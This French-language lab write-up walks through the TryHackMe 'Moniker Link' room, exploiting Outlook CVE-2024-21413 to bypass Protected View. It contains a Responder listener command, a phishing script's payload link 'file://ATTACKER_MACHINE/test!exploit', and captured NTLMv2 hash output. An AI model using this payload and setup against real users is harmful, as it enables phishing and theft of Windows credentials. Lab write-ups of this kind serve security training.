
Procédure pas à pas de TryHackMe Moniker Link (CVE-2024-21413) : contournement de la Protected View d'Outlook menant à la capture de hash NTLMv2 via un lien moniker forgé.
Un guide complet de la salle « Moniker Link » de TryHackMe : exploitation de la CVE-2024-21413, une vulnérabilité de Microsoft Outlook de 2024, pour voler le hash NTLMv2 d'une victime dès qu'elle clique sur un lien dans un e-mail de phishing — sans macro, sans pièce jointe, sans avertissement de sécurité évident.
La CVE-2024-21413 (« Moniker Link ») est une vulnérabilité dans la façon dont Outlook valide les liens file:// qui utilisent la syntaxe « moniker » OLE de Windows (un ! final après le chemin, par ex. file://host/share!something). Outlook est censé ouvrir les liens de fichiers externes via Protected View, qui isole le fichier et avertit l'utilisateur avant qu'aucun identifiant ne puisse fuir. Ce ! supplémentaire dérègle juste assez l'analyseur d'URL d'Outlook pour qu'il contourne entièrement Protected View et transmette le lien directement à Windows, qui — parce qu'il ressemble à un chemin UNC — tente silencieusement une authentification SMB contre le serveur de l'attaquant. Cette tentative d'authentification fait fuiter le hash NTLMv2 de la victime avant que celle-ci n'ait fait autre chose que cliquer sur un lien d'apparence normale.
| Tâche | Objectif |
|---|---|
| 1. Reconnaissance | Comprendre la CVE et comment le bug d'analyse du lien moniker contourne Protected View |
| 2. Mettre en place le listener | Démarrer Responder pour capturer les authentifications SMB sortantes |
| 3. Armer | Construire un e-mail de phishing contenant un lien moniker malveillant |
| 4. Livrer | Envoyer l'e-mail à la boîte mail de la victime |
| 5. Capturer | Faire cliquer le lien à la victime et capturer son hash NTLMv2 |
responder -I ens5
Responder est démarré sur l'interface de la machine de l'attaquant avant que quoi que ce soit ne soit envoyé, avec l'empoisonnement LLMNR, NBT-NS et DNS activé. C'est ce qui capture réellement la fuite d'identifiants : une fois que l'exploit trompe Outlook pour qu'il tente une authentification SMB contre l'IP de l'attaquant, Responder est ce qui écoute de l'autre côté pour l'intercepter.

La cible est une boîte mail Outlook standard, [email protected], affichée sur sa vue de boîte de réception normale avant l'arrivée du moindre e-mail de phishing — la référence de base à partir de laquelle le reste de la salle travaille.

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
L'exploit (le PoC public de CMNatic pour la CVE-2024-21413) est un petit script Python qui construit et envoie un e-mail HTML par SMTP. La charge utile tient entièrement en une ligne : un lien <a href="file://..."> pointant vers la machine de l'attaquant, avec un !exploit final ajouté au chemin. Ce ! final est tout le bug — c'est lui qui fait que l'analyseur de liens d'Outlook classe incorrectement l'URL et saute la vérification Protected View qu'il appliquerait normalement à un lien de fichier externe.

python3 exploit.py
Enter your attacker email password: attacker
Email delivered
L'exécution du script s'authentifie auprès du serveur de messagerie et envoie l'e-mail forgé à la victime. Email delivered confirme qu'il a quitté avec succès la boîte mail de l'attaquant.

L'e-mail arrive dans la boîte de réception de [email protected] de la part de CMNatic, avec pour objet CVE-2024-21413, ne contenant rien d'autre qu'un unique lien hypertexte affichant « Click me » — aucune pièce jointe, aucun avertissement de macro, rien qui éveillerait normalement les soupçons d'un filtre anti-phishing ou d'un utilisateur prudent.

Le fait de cliquer sur « Click me » déclenche la boîte de dialogue d'erreur de l'Explorateur Windows d'Outlook : « Impossible de trouver '\10.113.72.84\test!exploit'. Vérifiez que l'emplacement ou l'adresse web est correct. » Cette erreur est en réalité la preuve que l'exploit a déjà fonctionné — au moment où cette boîte de dialogue apparaît, Windows a déjà tenté de résoudre ce chemin UNC via SMB et s'est déjà authentifié auprès de 10.113.72.84 (la machine de l'attaquant) au passage. L'échec visible n'est que l'Explorateur qui ne parvient pas à trouver un partage qui n'a jamais été destiné à exister ; la fuite d'identifiants s'est déjà produite silencieusement avant même que la boîte d'erreur n'apparaisse.

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...
De retour sur la machine de l'attaquant, Responder a déjà capturé l'intégralité de la poignée de main NTLMv2-SSP pour THM-MONIKERLINK\tryhackme, provenant de 10.113.150.143 (la victime). Aucune invite d'identification, aucun avertissement de sécurité et aucune action de l'utilisateur au-delà d'un simple clic sur un lien qui semblait ordinaire — le hash était prêt à être craqué ou relayé à l'instant même où Outlook a mal géré le lien moniker.
